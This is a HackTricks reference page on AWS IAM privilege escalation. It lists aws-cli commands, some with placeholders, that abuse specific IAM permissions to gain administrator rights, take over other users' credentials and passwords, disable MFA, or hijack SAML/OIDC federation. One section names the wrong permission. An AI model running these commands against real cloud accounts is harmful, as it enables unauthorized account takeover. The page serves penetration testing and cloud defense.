Skip to content

Latest commit

 

History

History
330 lines (219 loc) · 14.1 KB

aws-iam-privesc.md

File metadata and controls

330 lines (219 loc) · 14.1 KB
Raw

AWS - IAM Privesc

Support HackTricks and get benefits!

IAM

For more info about IAM check:

{% content-ref url="../aws-services/aws-iam-and-sts-enum/" %} aws-iam-and-sts-enum {% endcontent-ref %}

iam:CreatePolicyVersion

An attacker with the iam:CreatePolicyVersion permission can create a new version of an IAM policy that they have access to. This allows them to define their own custom permissions. When creating a new policy version, it needs to be set as the default version to take effect, which you would think would require the iam:SetDefaultPolicyVersion permission, but when creating a new policy version, it is possible to include a flag (--set-as-default) that will automatically create it as the new default version. That flag does not require the iam:SetDefaultPolicyVersion permission to use.

An example command to exploit this method might look like this:

# Enum
aws iam list-policy-versions --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id <VERSION_X>

# Exploitation
aws iam create-policy-version --policy-arn <target_policy_arn> \
    --policy-document file:///path/to/administrator/policy.json --set-as-default

Where the policy.json file would include a policy document that allows any action against any resource in the account.

Potential Impact: Direct privilege escalation to everything.

iam:SetDefaultPolicyVersion

An attacker with the iam:SetDefaultPolicyVersion permission may be able to escalate privileges through existing policy versions that are not currently in use. If a policy that they have access to has versions that are not the default, they would be able to change the default version to any other existing version.

{% hint style="warning" %} If the policy your are modifying the version is the same one that is granting the attacker the SetDefaultPolicyVersion permission, and the new version doesn't grant that permission, the attacker won't be able to return the policy to its original state. {% endhint %}

An example command to exploit this method might look like this:

aws iam set-default-policy-version --policy-arn <target_policy_arn> \
    --version-id v2

Where “v2” is the policy version with the most privileges available.

Potential Impact: Indirect privesc setting a different policy version that could grant more permissions.

iam:CreateAccessKey

An attacker with the iam:CreateAccessKey permission on other users can create an access key ID and secret access key belonging to another user in the AWS environment, if they don’t already have two sets associated with them (which best practice says they shouldn’t).

An example command to exploit this method might look like this:

aws iam create-access-key --user-name <target_user>

Where target_user has an extended set of permissions compared to the current user.

Potential Impact: Direct privesc to any user.

iam:CreateLoginProfile

An attacker with the iam:CreateLoginProfile permission on other users can create a password to use to login to the AWS console on any user that does not already have a login profile setup.

An example command to exploit this method might look like this:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
    --password '|[3rxYGGl3@`~68)O{,-$1B"zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}t'

That password guarantee that it will meet the accounts minimum password requirements.

Potential Impact: Direct privesc to "any" user.

iam:UpdateLoginProfile

An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.

Like creating a login profile, an example command to exploit this method might look like this:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
    --password '|[3rxYGGl3@`~68)O{,-$1B"zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}t'

That password guarantee that it will meet the accounts minimum password requirements.

Potential Impact: Direct privesc "any" user.

iam:AttachUserPolicy

An attacker with the iam:AttachUserPolicy permission can escalate privileges by attaching a policy to a user that they have access to, adding the permissions of that policy to the attacker.

An example command to exploit this method might look like this:

aws iam attach-user-policy --user-name <my_username> \
    --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

Potential Impact: Direct privesc to anything.

iam:AttachGroupPolicy

An attacker with the iam:AttachGroupPolicy permission can escalate privileges by attaching a policy to a group that they are a part of, adding the permissions of that policy to the attacker.

aws iam attach-group-policy --group-name group_i_am_in \
    --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

Where the group is a group the current user is a part of.

Potential Impact: Direct privesc to anything (if the user is inside a group).

iam:AttachRolePolicy, sts:AssumeRole

An attacker with the iam:AttachRolePolicy permission can escalate privileges by attaching a policy to a role that they have access to, adding the permissions of that policy to the attacker.

aws iam attach-role-policy --role-name <role_i_can_assume> \
    --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

Where the role is a role that the current user can temporarily assume with sts:AssumeRole.

Potential Impact: Direct privesc to anything.

iam:PutUserPolicy

An attacker with the iam:PutUserPolicy permission can escalate privileges by creating or updating an inline policy for a user that they have access to, adding the permissions of that policy to the attacker.

aws iam put-user-policy --user-name <my_username> --policy-name "my_inline_policy" \
    --policy-document "file:///path/to/administrator/policy.json"

You can use a policy like:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "*"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}

Potential Impact: Direct privesc to anything.

iam:PutGroupPolicy

An attacker with the iam:PutGroupPolicy permission can escalate privileges by creating or updating an inline policy for a group that they are a part of, adding the permissions of that policy to the attacker.

aws iam put-group-policy --group-name <group_i_am_in> \
    --policy-name "group_inline_policy" \
    --policy-document file:///path/to/administrator/policy.json

Where the group is a group the current user is in.

Potential Impact: Direct privesc to anything.

iam:PutRolePolicy, sts:AssumeRole

An attacker with the iam:PutRolePolicy permission can escalate privileges by creating or updating an inline policy for a role that they have access to, adding the permissions of that policy to the attacker.

An example command to exploit this method might look like this:

aws iam put-role-policy --role-name <role_i_can_assume> \
    --policy-name "role_inline_policy" \
    --policy-document file:///path/to/administrator/policy.json

Where the role is a role that the current user can temporarily assume with sts:AssumeRole.

Potential Impact: Direct privesc to anything.

iam:AddUserToGroup

An attacker with the iam:AddUserToGroup permission can use it to add themselves to an existing IAM Group in the AWS account.

aws iam add-user-to-group --group-name <target_group> --user-name <my_username>

Where target_group has more/different privileges than the attacker’s user account.

Potential Impact: Direct privesc to any group.

iam:UpdateAssumeRolePolicy, sts:AssumeRole

An attacker with the iam:UpdateAssumeRolePolicy and sts:AssumeRole permissions would be able to change the assume role policy document of any existing role to allow them to assume that role.

aws iam update-assume-role-policy --role-name <role_to_assume> \
    --policy-document file:///path/to/assume/role/policy.json

Where the policy looks like the following, which gives the user permission to assume the role:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Principal": {
                "AWS": "$USER_ARN"
            }
        }
    ]
}

Potential Impact: Direct privesc to any role.

iam:UploadSSHPublicKey

An attacker with iam:DeactivateMFADevice can upload an SSH public key and associate it with the specified IAM user(Learn more).

The SSH public key uploaded by this operation can be used only for authenticating the associated IAM user to an CodeCommit repository. For more information about using SSH keys to authenticate to an CodeCommit repository, see Set up CodeCommit for SSH connections in the CodeCommit User Guide.

aws iam upload-ssh-public-key --user-name <value> \
    --ssh-public-key-body <value>

Potential Impact: Indirect privesc to CodeCommit.

iam:DeactivateMFADevice

An attacker with iam:DeactivateMFADevice can deactivate the specified MFA device and remove its association with the IAM user for which it was originally enabled (Learn more).

aws iam deactivate-mfa-device --user-name <value> --serial-number <value>

Potential Impact: Indirect privesc a user if you already know his username and password by disabling the MFA device.

iam:ResyncMFADevice

An attacker with iam:ResyncMFADevice can synchronize the specified MFA device with an IAM entity: user or role (Learn more).

aws iam resync-mfa-device --user-name <value> --serial-number <value> \
    --authentication-code1 <value> --authentication-code2 <value>

Potential Impact: Indirect privesc a user if you already know his username and password by adding a MFA device.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

With these permissions you can change the XML metadata of the SAML connection. Then, you could abuse the SAML federation to login with any role that is trusting it.

Note that doing this legit users won't be able to login. However, you could get the XML, so you can put yours, login and configure the previous back

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

{% hint style="info" %} TODO: A Tool capable of generating the SAML metadata and login with a specified role {% endhint %}

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Unsure about this) If an attacker has these permissions he could add a new Thumbprint to manage to login in all the roles trusting the provider.

{% code overflow="wrap" %}

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

{% endcode %}

Support HackTricks and get benefits!